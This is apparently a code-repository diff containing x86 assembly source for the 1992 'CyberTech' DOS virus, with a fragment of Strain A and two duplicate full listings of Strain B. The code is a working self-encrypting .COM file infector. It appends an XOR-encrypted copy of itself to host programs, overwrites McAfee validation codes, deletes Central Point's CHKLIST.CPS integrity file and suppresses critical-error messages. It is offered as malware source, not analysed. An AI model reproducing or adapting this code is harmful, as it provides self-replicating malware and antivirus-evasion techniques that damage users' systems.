Search: Lea Dx,FileSpec[BP] ; Search for filespec given
Xor Cx,Cx ; in FileSpec adress
Int 21h ;
Jnc Found ; Found - Found
Jmp Ready ; Not Found - Ready
Found: Mov Ax,4300h ; Get file attributes and
Mov Dx,0fd1eh ; store them on the stack
Int 21h ;
Push Cx ;
Mov Ax,4301h ; clear file attributes
Xor Cx,Cx ;
Int 21h ;
Mov Ax,3d02h ; open file with read/write
Int 21h ; access
Mov Bx,5700h ; save file date/time stamp
Xchg Ax,Bx ; on the stack
Int 21h ;
Push Cx ;
Push Dx ;
Mov Ah,3fh ; read the first 4 bytes of
Lea Dx,OrgPrg[BP] ; the program onto OrgPrg
Mov Cx,4 ;
Int 21h ;
Mov Ax,Cs:[OrgPrg][BP] ; Check if renamed exe-file
Cmp Ax,'ZM' ;
Je ExeFile ;
Cmp Ax,'MZ' ; Check if renamed weird exe-
Je ExeFile ; file
Mov Ah,Cs:[OrgPrg+3][BP] ; Check if already infected
Cmp Ah,'*' ;
Jne Infect ;
ExeFile: Call Close ; If one of the checks is yes,
Mov Ah,4fh ; close file and search next
Jmp Search ; file
FSeek: Xor Cx,Cx ; subroutine to jump to end
Xor Dx,Dx ; or begin of file
Int 21h ;
Ret ;
Infect: Mov Ax,4202h ; jump to EOF
Call FSeek ;
Cmp Ax,0f900 ; Check if file too large
Jae ExeFile ; if yes, goto exefile
Cmp Ax,10 ; Check if file too short
Jbe ExeFile ; if yes, goto exefile
Mov Cx,Dx ; calculate pointer to offset
Mov Dx,Ax ; EOF-52 (for McAfee validation
Sub Dx,52 ; codes)
Mov Si,Cx ; move file pointer to the
Mov Di,Dx ; calculated address
Mov Ax,4200h ;
Int 21h ;
Mov Ah,3fh ; read the last 52 bytes
Mov Dx,0fb00h ; of the file
Mov Cx,52 ;
Int 21h ;
Cmp Ds:0Fb00h,0fdf0h ; check if protected with the
Jne Check2 ; AG option
Cmp Ds:0fb02h,0aac5h ;
Jne Check2 ;
Mov Ax,4200h ; yes - let virus overwrite
Mov Cx,Si ; the code with itself, so
Mov Dx,Di ; the file has no validation
Int 21h ; code
Jmp CalcVirus ;
Check2: Cmp Ds:0Fb00h+42,0fdf0h ; check if protected with the
Jne Eof ; AV option
Cmp Ds:0Fb02h+42,0aac5h ;
Jne Eof ;
Mov Ax,4200h ; yes - let virus overwrite
Mov Cx,Si ; the code with itself, so
Mov Dx,Di ; the file has no validation
Add Dx,42 ; code
Int 21h ;
Jmp CalcVirus ;
Eof: Mov Ax,4202h ; not AG or AV - jump to
Call Fseek ; EOF
CalcVirus: Sub Ax,3 ; calculate the jump for the
Mov Cs:CallPtr[BP]+1,Ax ; virus start
GetCrypt: Mov Ah,2ch ; get 100s seconds for the
Int 21h ; encryption value.
Cmp Dl,0 ; if not zero, goto NoZero
Jne NoZero ;
Mov Ah,9 ; If zero, display copyright
Lea Dx,Msg[Bp] ; message and generate again
Int 21h ; a number
Jmp GetCrypt ;
NoZero: Mov Cs:Decrypt+2[BP],Dl ; Store key into decryptor
Lea Si,MainVir[BP] ; Move changed decryptor to
Mov Di,0fb00h ; a safe place in memory
Mov Cx,DecrLen ;
Rep Movsb ;
Lea Si,Crypt[BP] ; Encrypt the virus and merge
Mov Cx,CryptLen ; it to the changed decryptor
Encrypt: Lodsb ; code
Xor Al,Dl ;
Stosb ;
Loop Encrypt ;
Mov Ah,40h ; append virus at EOF or over
Lea Dx,0fb00h ; the validation code of
Mov Cx,VirLen ; McAfee
Int 21h ;
Mov Ax,4200h ; Jump to BOF
Call FSeek ;
Mov Ah,40h ; Write Jump at BOF
Lea Dx,CallPtr[BP] ;
Mov Cx,4 ;
Int 21h ;
Call Close ; Jump to Close routine
Ready: Mov Ah,1ah ; Restore DTA to normal
Mov Dx,80h ; offset
Int 21h ;
Mov Ax,Cs:OldInt24[Bp] ; remove critical error
Mov Dx,Cs:OldInt24+2[Bp] ; handler and store the
Xor Bx,Bx ; original handler at the
Push Bx ; interrupt table
Pop Ds ;
Mov Ds:[4*24h],Dx ;
Mov Ds:[4*24h]+2,Ax ;
Push Cs ;
Pop Ds ;
Pop Ax ; restore possible error code
Mov Bx,100h ; nice way to jump to the
Push Cs ; begin of the original host
Push Bx ; code
Retf ;
Close: Pop Si ; why???
Pop Dx ; restore file date/time
Pop Cx ; stamp
Mov Ax,5701h ;
Int 21h ;
Mov Ah,3eh ; close file
Int 21h ;
Mov Ax,4301h ; restore file attributes
Pop Cx ;
Mov Dx,0fd1eh ;
Int 21h ;
Mov Ah,41h ; delete CHKLIST.CPS (the
Lea Dx,CpsName[BP] ; Central Point CRC list)
Int 21h ;
Push Si ; why???
Ret
;
; Message when we are in 1993
;
Removed Db 13,10,'The previous year you have been infected by a virus'
Db 13,10,'without knowing or removing it. To be gentle to you'
Db 13,10,'I decided to remove myself from your system. I suggest'
Db 13,10,'you better buy ViruScan of McAfee to ensure yourself'
Db 13,10,'complete security of your precious data. Next time you'
Db 13,10,'could be infected with a malevolent virus.'
Db 13,10,10,'May I say goodbye to you for now....',13,10
;
; Message when encryption byte = 0 or when we are living in 1993
;
Msg Db 13,10,'CyberTech Virus - Strain A'
Db 13,10,'(C) 1992 John Tardy of Trident'
Db 13,10,'$'
;
; New critical error handler
;
NewInt24: Mov Al,3 ; supress any critical error
Iret ; messages
CpsName Db 'chklist.cps',0 ; name for CP CRC-list
OldInt24 Dd 0 ; storage place for old int 24
CallPtr Db 0e9h,0,0 ; jump to place at BOF
FileSpec Db '*.COM',0 ; filespec and infection marker
OrgPrg: Int 20h ; original program
Db 'JT' ;
CryptLen Equ $-Crypt ; encrypted part length
VirLen Equ $-MainVir ; total virus length
+495
View File
@@ -0,0 +1,495 @@
;
; CyberTech Virus - Strain B John Tardy (C) 1992
;
; Written in A86 V3.22
;
; Description : This is a Non-Resident Self-Encrypting .COM file infector
; which infects COM files in the current directory. It will
; remove CHKLIST.CPS from the current directory after it has
; infected a program. CHKLIST.CPS is a file which is used by
; VDEFEND of PCSHELL and Central Point AntiVirus. When a
; validation code is added by SCAN of McAfee, it will overwrite
; the code, so the file is no longer CRC protected anymore.
; After 1993, the virus activated. It then displays a message
; that your system has been infected. The virus will remove
; itself from the infected file and completely restore it. If
; a validation code was added, it is lost, but the file is not
; corrupted and will function normally. Even when the file is
; compressed afterwards by an executable file compressor, it is
; uncompressed. Before 1994, the virus sometimes display it's
; copyright. This is caused when the random encryption counter
; is a 0. It will redefine it, so there is no visible text in
; the virus. It checks also if there is enough diskspace
; aveable and installs a critical error handler.
;
Org 0h ; Generate .BIN file
Start: Jmp MainVir ; Jump to decryptor code at EOF
Db '*' ; Virus signature (very short)
;
; Decryptor procedure
;
MainVir: Call On1 ; Push offset on stack
On1: Pop BP ; Calculate virus offset
Sub BP,Offset MainVir+3 ;
Push Ax ; Save possible error code
Lea Si,Crypt[BP] ; Decrypt the virus with a
Mov Di,Si ; very simple exclusive or
Mov Cx,CryptLen ; function.
Decrypt: Lodsb ;
Xor Al,0 ;
Stosb ;
Loop Decrypt ;
DecrLen Equ $-MainVir ; Length of the decryptor
;
; Main initialization procedure
;
Crypt: Mov Ax,Cs:OrgPrg[BP] ; Store begin of host at
Mov Bx,Cs:OrgPrg[BP]+2 ; cs:100h (begin of com)
Mov Cs:Start+100h,Ax ;
Mov Cs:Start[2]+100h,Bx ;
Xor Ax,Ax ; Get original interrupt 24
Push Ax ; (critical error handler)
Pop Ds ;
Mov Bx,Ds:[4*24h] ;
Mov Es,Ds:[4*24h]+4 ;
Mov Word Ptr Cs:OldInt24[Bp],Bx ; And store it on a save place
Mov Word Ptr Cs:OldInt24+2[Bp],Es ;
Lea Bx,NewInt24[Bp] ; Install own critical error
Push Cs ; handler to avoid messages
Pop Es ; when a disk is write
Mov Word Ptr Ds:[4*24h],Bx ; protected and such things
Mov Word Ptr Ds:[4*24h]+2,Es ;
Push Cs ;
Pop Ds ;
Mov Ah,30h ; Check if DOS version is
Int 21h ; 3.0 or above for correct
Cmp Al,3 ; interrupt use
Jae TestDate ;
Jmp Ready ;
TestDate: Mov Ah,2ah ; Check if 1993 is past time
Int 21h ; already
Cmp Cx,1994 ;
Jae Clean ; - 1994 or more
Jmp NoClean ; - Not 1994 or more
;
; Main Cleanup procedure
;
Clean: Mov Ah,1ah ; Move DTA to a safe place
Mov Dx,0fd00h ;
Int 21h ;
Mov Ax,Cs:[2ch] ; Find the name of the
Mov Ds,Ax ; program that is now
Mov Si,0 ; executed (me must search in
Mov Cx,4000h ; the DOS environment for
Seeker: Lodsb ; safe tracking of the name
Cmp Al,1 ;
Je On3 ;
Loop Seeker ;
On3: Inc Si ; Transfer the found name
Push Cs ; to a safe address in memory
Pop Es ;
Mov Di,0fd80h ;
Mov Cx,80h ;
Trans: Lodsb ;
Cmp Al,0 ;
Je Verder ;
Stosb ;
Loop Trans ;
Verder: Stosb
Sub Di,12
Push Cs
Pop Ds
Mov Ax,[Di][0] ;
Cmp Ax,'OC'
Jne Normal
Mov Ax,[Di][2]
Cmp Ax,'MM'
Jne Normal
Mov Ax,[Di][4]
Cmp Ax,'NA'
Jne Normal
Jmp Ready
Normal: Push Cs ; Read file attributes and
Pop Ds ; check if an error has
Mov Ax,4300h ; occured
Mov Dx,0fd80h ;
Int 21h ;
Jnc DeInfect ; - No error, DeInfect
Jmp Ready ; - Error, Ready
DeInfect: Push Cx ; Store old file attributes
Mov Ax,4301h ; Clear file attributes
Xor Cx,Cx ; (for read only etc.)
Int 21h ;
Mov Ax,3d02h ; Open the file
Int 21h ;
Mov Bx,Ax ; Read file date/time stamp
Mov Ax,5700h ; and store it on the stack
Int 21h ; for later use
Push Cx ;
Push Dx ;
Mov Ah,3eh ; Close file
Int 21h ;
Mov Dx,0fd80h ; Create a new file with the
Xor Cx,Cx ; same name
Mov Ah,3ch ;
Int 21h ;
Mov Bx,Ax ; store file handle in BX
Mov Dx,100h ; program to file (the original
Mov Cx,Bp ; file is now back again)
Sub Cx,0fch ;
Mov Ah,40h ; write memory image of host
Int 21h ;
Pop Dx ; restore file date/time
Pop Cx ; stamp
Mov Ax,5701h ;
Int 21h ;
Mov Ah,3eh ; close file
Int 21h ;
Pop Cx ; restore file attributes
Mov Ax,4301h ;
Mov Dx,0fd80h ;
Int 21h ;
Push Cs ; Show message that the
Pop Ds ; system has been infected
Mov Ah,9 ; and shutdown virus
Lea Dx,Removed[Bp] ;
Int 21h ;
Jmp Ready ;
;
; Main viral part
;
NoClean: Mov Ah,1ah ; Store DTA at safe place
Mov Dx,0fd00h ;
Int 21h ;
Mov Ah,4eh ; FindFirsFile Function
Search: Lea Dx,FileSpec[BP] ; Search for filespec given
Xor Cx,Cx ; in FileSpec adress
Int 21h ;
Jnc Found ; Found - Found
Jmp Ready ; Not Found - Ready
Found: Mov Ax,4300h ; Get file attributes and
Mov Dx,0fd1eh ; store them on the stack
Int 21h ;
Push Cx ;
Mov Ax,4301h ; clear file attributes
Xor Cx,Cx ;
Int 21h ;
Mov Ax,3d02h ; open file with read/write
Int 21h ; access
Mov Bx,5700h ; save file date/time stamp
Xchg Ax,Bx ; on the stack
Int 21h ;
Push Cx ;
Push Dx ;
Mov Ah,3fh ; read the first 4 bytes of
Lea Dx,OrgPrg[BP] ; the program onto OrgPrg
Mov Cx,4 ;
Int 21h ;
Mov Ax,Cs:[OrgPrg][BP] ; Check if renamed exe-file
Cmp Ax,'ZM' ;
Je ExeFile ;
Cmp Ax,'MZ' ; Check if renamed weird exe-
Je ExeFile ; file
Mov Ah,Cs:[OrgPrg+3][BP] ; Check if already infected
Cmp Ah,'*' ;
Jne Infect ;
ExeFile: Call Close ; If one of the checks is yes,
Mov Ah,4fh ; close file and search next
Jmp Search ; file
FSeek: Xor Cx,Cx ; subroutine to jump to end
Xor Dx,Dx ; or begin of file
Int 21h ;
Ret ;
Infect: Mov Ax,0fd1e[0] ; check if the file is
Cmp Ax,'OC' ; COMMAN?.COM (usually result
Jne NoCommand ; if COMMAND.COM)
Mov Ax,0fd1e[2] ;
Cmp Ax,'MM' ;
Jne NoCommand ;
Mov Ax,0fd1e[4] ;
Cmp Ax,'NA' ;
Jne NoCommand ;
Mov Ax,4202h ; Jump to EOF
Call Fseek ;
Cmp Ax,0f000h ; Check if file too large
Jae ExeFile
Cmp Ax,VirS ; Check if file to short
jbe ExeFile
Sub Ax,VirS
Xchg Cx,Dx
Mov Dx,4200h
Xchg Dx,Ax
Mov EOFminVir[BP],Dx
Int 21h
Mov Ah,3fh
Mov Dx,Offset Buffer
Mov Cx,VirS
Int 21h
Cld
Mov Si,Offset Buffer
Mov Cx,VirLen
On5:
Push Cx
On6: Lodsb
Cmp Al,0
Jne On4
Loop On6
On4: Cmp Cx,0
Je Found0
Pop Cx
Cmp Si,SeekLen
Jb On5
Jmp NoCommand
Found0: Pop Cx
Sub Si,Offset Buffer
Sub Si,Cx
Xor Cx,Cx
Mov Dx,EOFminVir[BP]
Add Dx,Si
Mov Ax,4200h
Int 21h
Jmp CalcVirus
EOFminVir Dw 0
NoCommand: Mov Ax,4202h ; jump to EOF
Call FSeek ;
Cmp Ax,0f000h ; Check if file too large
Jb NoExe1 ; if yes, goto exefile
Jmp ExeFile ;
NoExe1: Cmp Ax,10 ; Check if file too short
Ja NoExe2 ; if yes, goto exefile
Jmp ExeFile ;
NoExe2: Mov Cx,Dx ; calculate pointer to offset
Mov Dx,Ax ; EOF-52 (for McAfee validation
Sub Dx,52 ; codes)
Mov Si,Cx ; move file pointer to the
Mov Di,Dx ; calculated address
Mov Ax,4200h ;
Int 21h ;
Mov Ah,3fh ; read the last 52 bytes
Mov Dx,0fb00h ; of the file
Mov Cx,52 ;
Int 21h ;
Cmp Ds:0Fb00h,0fdf0h ; check if protected with the
Jne Check2 ; AG option
Cmp Ds:0fb02h,0aac5h ;
Jne Check2 ;
Mov Ax,4200h ; yes - let virus overwrite
Mov Cx,Si ; the code with itself, so
Mov Dx,Di ; the file has no validation
Int 21h ; code
Jmp CalcVirus ;
Check2: Cmp Ds:0Fb00h+42,0fdf0h ; check if protected with the
Jne Eof ; AV option
Cmp Ds:0Fb02h+42,0aac5h ;
Jne Eof ;
Mov Ax,4200h ; yes - let virus overwrite
Mov Cx,Si ; the code with itself, so
Mov Dx,Di ; the file has no validation
Add Dx,42 ; code
Int 21h ;
Jmp CalcVirus ;
Eof: Mov Ax,4202h ; not AG or AV - jump to
Call Fseek ; EOF
CalcVirus: Sub Ax,3 ; calculate the jump for the
Mov Cs:CallPtr[BP]+1,Ax ; virus start
GetCrypt: Mov Ah,2ch ; get 100s seconds for the
Int 21h ; encryption value.
Cmp Dl,0 ; if not zero, goto NoZero
Jne NoZero ;
Mov Ah,9 ; If zero, display copyright
Lea Dx,Msg[Bp] ; message and generate again
Int 21h ; a number
Jmp GetCrypt ;
NoZero: Mov Cs:Decrypt+2[BP],Dl ; Store key into decryptor
Lea Si,MainVir[BP] ; Move changed decryptor to
Mov Di,0fb00h ; a safe place in memory
Mov Cx,DecrLen ;
Rep Movsb ;
Lea Si,Crypt[BP] ; Encrypt the virus and merge
Mov Cx,CryptLen ; it to the changed decryptor
Encrypt: Lodsb ; code
Xor Al,Dl ;
Stosb ;
Loop Encrypt ;
Mov Ah,40h ; append virus at EOF or over
Lea Dx,0fb00h ; the validation code of
Mov Cx,VirLen ; McAfee
Int 21h ;
Mov Ax,4200h ; Jump to BOF
Call FSeek ;
Mov Ah,40h ; Write Jump at BOF
Lea Dx,CallPtr[BP] ;
Mov Cx,4 ;
Int 21h ;
Call Close ; Jump to Close routine
Ready: Mov Ah,1ah ; Restore DTA to normal
Mov Dx,80h ; offset
Int 21h ;
Mov Ax,Cs:OldInt24[Bp] ; remove critical error
Mov Dx,Cs:OldInt24+2[Bp] ; handler and store the
Xor Bx,Bx ; original handler at the
Push Bx ; interrupt table
Pop Ds ;
Mov Ds:[4*24h],Dx ;
Mov Ds:[4*24h]+2,Ax ;
Push Cs ;
Pop Ds ;
Pop Ax ; restore possible error code
Mov Bx,100h ; nice way to jump to the
Push Cs ; begin of the original host
Push Bx ; code
Retf ;
Close: Pop Si ; why???
Pop Dx ; restore file date/time
Pop Cx ; stamp
Mov Ax,5701h ;
Int 21h ;
Mov Ah,3eh ; close file
Int 21h ;
Mov Ax,4301h ; restore file attributes
Pop Cx ;
Mov Dx,0fd1eh ;
Int 21h ;
Mov Ah,41h ; delete CHKLIST.CPS (the
Lea Dx,CpsName[BP] ; Central Point CRC list)
Int 21h ;
Push Si ; why???
Ret
;
; Message when we are in 1994
;
;Removed Db 13,10,'Virus removed : ',13,10
Removed Db 13,10,'The previous year you have been infected by a virus'
Db 13,10,'without knowing or removing it. To be gentle to you'
Db 13,10,'I decided to remove myself from your system. I suggest'
Db 13,10,'you better buy ViruScan of McAfee to ensure yourself'
Db 13,10,'complete security of your precious data. Next time you'
Db 13,10,'could be infected with a malevolent virus.'
Db 13,10,10,'May I say goodbye to you for now....',13,10
;
; Message when encryption byte = 0 or when we are living in 1994
;
Msg Db 13,10,'CyberTech Virus - Strain B'
Db 13,10,'(C) 1992 John Tardy of Trident'
Db 13,10,'$'
;
; New critical error handler
;
NewInt24: Mov Al,3 ; supress any critical error
Iret ; messages
CpsName Db 'chklist.cps',0 ; name for CP CRC-list
OldInt24 Dd 0 ; storage place for old int 24
CallPtr Db 0e9h,0,0 ; jump to place at BOF
FileSpec Db '*.COM',0 ; filespec and infection marker
OrgPrg: Int 20h ; original program
Db 'JT' ;
CryptLen Equ $-Crypt ; encrypted part length
VirLen Equ $-MainVir ; total virus length
Buffer Equ 0f040h ; buffer offset
VirS Equ VirLen*2
SeekLen Equ Buffer+Virs
+500
View File
@@ -0,0 +1,500 @@
;
; CyberTech Virus - Strain B John Tardy (C) 1992
;
; Written in A86 V3.22
;
; Description : This is a Non-Resident Self-Encrypting .COM file infector
; which infects COM files in the current directory. It will
; remove CHKLIST.CPS from the current directory after it has
; infected a program. CHKLIST.CPS is a file which is used by
; VDEFEND of PCSHELL and Central Point AntiVirus. When a
; validation code is added by SCAN of McAfee, it will overwrite
; the code, so the file is no longer CRC protected anymore.
; After 1993, the virus activated. It then displays a message
; that your system has been infected. The virus will remove
; itself from the infected file and completely restore it. If
; a validation code was added, it is lost, but the file is not
; corrupted and will function normally. Even when the file is
; compressed afterwards by an executable file compressor, it is
; uncompressed. Before 1994, the virus sometimes display it's
; copyright. This is caused when the random encryption counter
; is a 0. It will redefine it, so there is no visible text in
; the virus. It checks also if there is enough diskspace
; aveable and installs a critical error handler.
;
Org 0h ; Generate .BIN file
Start: Jmp MainVir ; Jump to decryptor code at EOF
Db '*' ; Virus signature (very short)
;
; Decryptor procedure
;
MainVir: Call On1 ; Push offset on stack
On1: Pop BP ; Calculate virus offset
Sub BP,Offset MainVir+3 ;
Push Ax ; Save possible error code
Lea Si,Crypt[BP] ; Decrypt the virus with a
Mov Di,Si ; very simple exclusive or
Mov Cx,CryptLen ; function.
Decrypt: Lodsb ;
Xor Al,0 ;
Stosb ;
Loop Decrypt ;
DecrLen Equ $-MainVir ; Length of the decryptor
;
; Main initialization procedure
;
Crypt: Mov Ax,Cs:OrgPrg[BP] ; Store begin of host at
Mov Bx,Cs:OrgPrg[BP]+2 ; cs:100h (begin of com)
Mov Cs:Start+100h,Ax ;
Mov Cs:Start[2]+100h,Bx ;
Xor Ax,Ax ; Get original interrupt 24
Push Ax ; (critical error handler)
Pop Ds ;
Mov Bx,Ds:[4*24h] ;
Mov Es,Ds:[4*24h]+4 ;
Mov Word Ptr Cs:OldInt24[Bp],Bx ; And store it on a save place
Mov Word Ptr Cs:OldInt24+2[Bp],Es ;
Lea Bx,NewInt24[Bp] ; Install own critical error
Push Cs ; handler to avoid messages
Pop Es ; when a disk is write
Mov Word Ptr Ds:[4*24h],Bx ; protected and such things
Mov Word Ptr Ds:[4*24h]+2,Es ;
Push Cs ;
Pop Ds ;
Mov Ah,30h ; Check if DOS version is
Int 21h ; 3.0 or above for correct
Cmp Al,3 ; interrupt use
Jae TestDate ;
Jmp Ready ;
TestDate: Mov Ah,2ah ; Check if 1993 is past time
Int 21h ; already
Cmp Cx,1994 ;
Jae Clean ; - 1994 or more
Jmp NoClean ; - Not 1994 or more
;
; Main Cleanup procedure
;
Clean: Mov Ah,1ah ; Move DTA to a safe place
Mov Dx,0fd00h ;
Int 21h ;
Mov Ax,Cs:[2ch] ; Find the name of the
Mov Ds,Ax ; program that is now
Mov Si,0 ; executed (me must search in
Mov Cx,4000h ; the DOS environment for
Seeker: Lodsb ; safe tracking of the name
Cmp Al,1 ;
Je On3 ;
Loop Seeker ;
On3: Inc Si ; Transfer the found name
Push Cs ; to a safe address in memory
Pop Es ;
Mov Di,0fd80h ;
Mov Cx,80h ;
Trans: Lodsb ;
Cmp Al,0 ;
Je Verder ;
Stosb ;
Loop Trans ;
Verder: Stosb
Sub Di,12
Push Cs
Pop Ds
Mov Ax,[Di][0] ;
Cmp Ax,'OC'
Jne Normal
Mov Ax,[Di][2]
Cmp Ax,'MM'
Jne Normal
Mov Ax,[Di][4]
Cmp Ax,'NA'
Jne Normal
Jmp Ready
Normal: Push Cs ; Read file attributes and
Pop Ds ; check if an error has
Mov Ax,4300h ; occured
Mov Dx,0fd80h ;
Int 21h ;
Jnc DeInfect ; - No error, DeInfect
Jmp Ready ; - Error, Ready
DeInfect: Push Cx ; Store old file attributes
Mov Ax,4301h ; Clear file attributes
Xor Cx,Cx ; (for read only etc.)
Int 21h ;
Mov Ax,3d02h ; Open the file
Int 21h ;
Mov Bx,Ax ; Read file date/time stamp
Mov Ax,5700h ; and store it on the stack
Int 21h ; for later use
Push Cx ;
Push Dx ;
Mov Ah,3eh ; Close file
Int 21h ;
Mov Dx,0fd80h ; Create a new file with the
Xor Cx,Cx ; same name
Mov Ah,3ch ;
Int 21h ;
Mov Bx,Ax ; store file handle in BX
Mov Dx,100h ; program to file (the original
Mov Cx,Bp ; file is now back again)
Sub Cx,0fch ;
Mov Ah,40h ; write memory image of host
Int 21h ;
Pop Dx ; restore file date/time
Pop Cx ; stamp
Mov Ax,5701h ;
Int 21h ;
Mov Ah,3eh ; close file
Int 21h ;
Pop Cx ; restore file attributes
Mov Ax,4301h ;
Mov Dx,0fd80h ;
Int 21h ;
Push Cs ; Show message that the
Pop Ds ; system has been infected
Mov Ah,9 ; and shutdown virus
Lea Dx,Removed[Bp] ;
Int 21h ;
Jmp Ready ;
;
; Main viral part
;
NoClean: Mov Ah,1ah ; Store DTA at safe place
Mov Dx,0fd00h ;
Int 21h ;
Mov Ah,4eh ; FindFirsFile Function
Search: Lea Dx,FileSpec[BP] ; Search for filespec given
Xor Cx,Cx ; in FileSpec adress
Int 21h ;
Jnc Found ; Found - Found
Jmp Ready ; Not Found - Ready
Found: Mov Ax,4300h ; Get file attributes and
Mov Dx,0fd1eh ; store them on the stack
Int 21h ;
Push Cx ;
Mov Ax,4301h ; clear file attributes
Xor Cx,Cx ;
Int 21h ;
Mov Ax,3d02h ; open file with read/write
Int 21h ; access
Mov Bx,5700h ; save file date/time stamp
Xchg Ax,Bx ; on the stack
Int 21h ;
Push Cx ;
Push Dx ;
Mov Ah,3fh ; read the first 4 bytes of
Lea Dx,OrgPrg[BP] ; the program onto OrgPrg
Mov Cx,4 ;
Int 21h ;
Mov Ax,Cs:[OrgPrg][BP] ; Check if renamed exe-file
Cmp Ax,'ZM' ;
Je ExeFile ;
Cmp Ax,'MZ' ; Check if renamed weird exe-
Je ExeFile ; file
Mov Ah,Cs:[OrgPrg+3][BP] ; Check if already infected
Cmp Ah,'*' ;
Jne Infect ;
ExeFile: Call Close ; If one of the checks is yes,
Mov Ah,4fh ; close file and search next
Jmp Search ; file
FSeek: Xor Cx,Cx ; subroutine to jump to end
Xor Dx,Dx ; or begin of file
Int 21h ;
Ret ;
Infect: Mov Ax,0fd1e[0] ; check if the file is
Cmp Ax,'OC' ; COMMAN?.COM (usually result
Jne NoCommand ; if COMMAND.COM)
Mov Ax,0fd1e[2] ;
Cmp Ax,'MM' ;
Jne NoCommand ;
Mov Ax,0fd1e[4] ;
Cmp Ax,'NA' ;
Jne NoCommand ;
Mov Ax,4202h ; Jump to EOF
Call Fseek ;
Cmp Ax,0f000h ; Check if file too large
Jae ExeFile
Cmp Ax,VirS ; Check if file to short
jbe ExeFile
Sub Ax,VirS
Xchg Cx,Dx
Mov Dx,4200h
Xchg Dx,Ax
Mov EOFminVir[BP],Dx
Int 21h
Mov Ah,3fh
Mov Dx,Offset Buffer
Mov Cx,VirS
Int 21h
Cld
Mov Si,Offset Buffer
Mov Cx,VirLen
On5:
Push Cx
On6: Lodsb
Cmp Al,0
Jne On4
Loop On6
On4: Cmp Cx,0
Je Found0
Pop Cx
Cmp Si,SeekLen
Jb On5
Jmp NoCommand
Found0: Pop Cx
Sub Si,Offset Buffer
Sub Si,Cx
Xor Cx,Cx
Mov Dx,EOFminVir[BP]
Add Dx,Si
Mov Ax,4200h
Int 21h
Jmp CalcVirus
EOFminVir Dw 0
NoCommand: Mov Ax,4202h ; jump to EOF
Call FSeek ;
Cmp Ax,0f000h ; Check if file too large
Jb NoExe1 ; if yes, goto exefile
Jmp ExeFile ;
NoExe1: Cmp Ax,10 ; Check if file too short
Ja NoExe2 ; if yes, goto exefile
Jmp ExeFile ;
NoExe2: Mov Cx,Dx ; calculate pointer to offset
Mov Dx,Ax ; EOF-52 (for McAfee validation
Sub Dx,52 ; codes)
Mov Si,Cx ; move file pointer to the
Mov Di,Dx ; calculated address
Mov Ax,4200h ;
Int 21h ;
Mov Ah,3fh ; read the last 52 bytes
Mov Dx,0fb00h ; of the file
Mov Cx,52 ;
Int 21h ;
Cmp Ds:0Fb00h,0fdf0h ; check if protected with the
Jne Check2 ; AG option
Cmp Ds:0fb02h,0aac5h ;
Jne Check2 ;
Mov Ax,4200h ; yes - let virus overwrite
Mov Cx,Si ; the code with itself, so
Mov Dx,Di ; the file has no validation
Int 21h ; code
Jmp CalcVirus ;
Check2: Cmp Ds:0Fb00h+42,0fdf0h ; check if protected with the
Jne Eof ; AV option
Cmp Ds:0Fb02h+42,0aac5h ;
Jne Eof ;
Mov Ax,4200h ; yes - let virus overwrite
Mov Cx,Si ; the code with itself, so
Mov Dx,Di ; the file has no validation
Add Dx,42 ; code
Int 21h ;
Jmp CalcVirus ;
Eof: Mov Ax,4202h ; not AG or AV - jump to
Call Fseek ; EOF
CalcVirus: Sub Ax,3 ; calculate the jump for the
Mov Cs:CallPtr[BP]+1,Ax ; virus start
GetCrypt: Mov Ah,2ch ; get 100s seconds for the
Int 21h ; encryption value.
Cmp Dl,0 ; if not zero, goto NoZero
Jne NoZero ;
Mov Ah,9 ; If zero, display copyright
Lea Dx,Msg[Bp] ; message and generate again
Int 21h ; a number
Jmp GetCrypt ;
NoZero: Mov Cs:Decrypt+2[BP],Dl ; Store key into decryptor
Lea Si,MainVir[BP] ; Move changed decryptor to
Mov Di,0fb00h ; a safe place in memory
Mov Cx,DecrLen ;
Rep Movsb ;
Lea Si,Crypt[BP] ; Encrypt the virus and merge
Mov Cx,CryptLen ; it to the changed decryptor
Encrypt: Lodsb ; code
Xor Al,Dl ;
Stosb ;
Loop Encrypt ;
Mov Ah,40h ; append virus at EOF or over
Lea Dx,0fb00h ; the validation code of
Mov Cx,VirLen ; McAfee
Int 21h ;
Mov Ax,4200h ; Jump to BOF
Call FSeek ;
Mov Ah,40h ; Write Jump at BOF
Lea Dx,CallPtr[BP] ;
Mov Cx,4 ;
Int 21h ;
Call Close ; Jump to Close routine
Ready: Mov Ah,1ah ; Restore DTA to normal
Mov Dx,80h ; offset
Int 21h ;
Mov Ax,Cs:OldInt24[Bp] ; remove critical error
Mov Dx,Cs:OldInt24+2[Bp] ; handler and store the
Xor Bx,Bx ; original handler at the
Push Bx ; interrupt table
Pop Ds ;
Mov Ds:[4*24h],Dx ;
Mov Ds:[4*24h]+2,Ax ;
Push Cs ;
Pop Ds ;
Pop Ax ; restore possible error code
Mov Bx,100h ; nice way to jump to the
Push Cs ; begin of the original host
Push Bx ; code
Retf ;
Close: Pop Si ; why???
Pop Dx ; restore file date/time
Pop Cx ; stamp
Mov Ax,5701h ;
Int 21h ;
Mov Ah,3eh ; close file
Int 21h ;
Mov Ax,4301h ; restore file attributes
Pop Cx ;
Mov Dx,0fd1eh ;
Int 21h ;
Mov Ah,41h ; delete CHKLIST.CPS (the
Lea Dx,CpsName[BP] ; Central Point CRC list)
Int 21h ;
Push Si ; why???
Ret
;
; Message when we are in 1994
;
;Removed Db 13,10,'Virus removed : ',13,10
Removed Db 13,10,'The previous year you have been infected by a virus'
Db 13,10,'without knowing or removing it. To be gentle to you'
Db 13,10,'I decided to remove myself from your system. I suggest'
Db 13,10,'you better buy ViruScan of McAfee to ensure yourself'
Db 13,10,'complete security of your precious data. Next time you'
Db 13,10,'could be infected with a malevolent virus.'
Db 13,10,10,'May I say goodbye to you for now....',13,10
;
; Message when encryption byte = 0 or when we are living in 1994
;
Msg Db 13,10,'CyberTech Virus - Strain B'
Db 13,10,'(C) 1992 John Tardy of Trident'
Db 13,10,'$'
;
; New critical error handler
;
NewInt24: Mov Al,3 ; supress any critical error
Iret ; messages
CpsName Db 'chklist.cps',0 ; name for CP CRC-list
OldInt24 Dd 0 ; storage place for old int 24
CallPtr Db 0e9h,0,0 ; jump to place at BOF
FileSpec Db '*.COM',0 ; filespec and infection marker
OrgPrg: Int 20h ; original program
Db 'JT' ;
CryptLen Equ $-Crypt ; encrypted part length
VirLen Equ $-MainVir ; total virus length
Buffer Equ 0f040h ; buffer offset
VirS Equ VirLen*2
SeekLen Equ Buffer+Virs
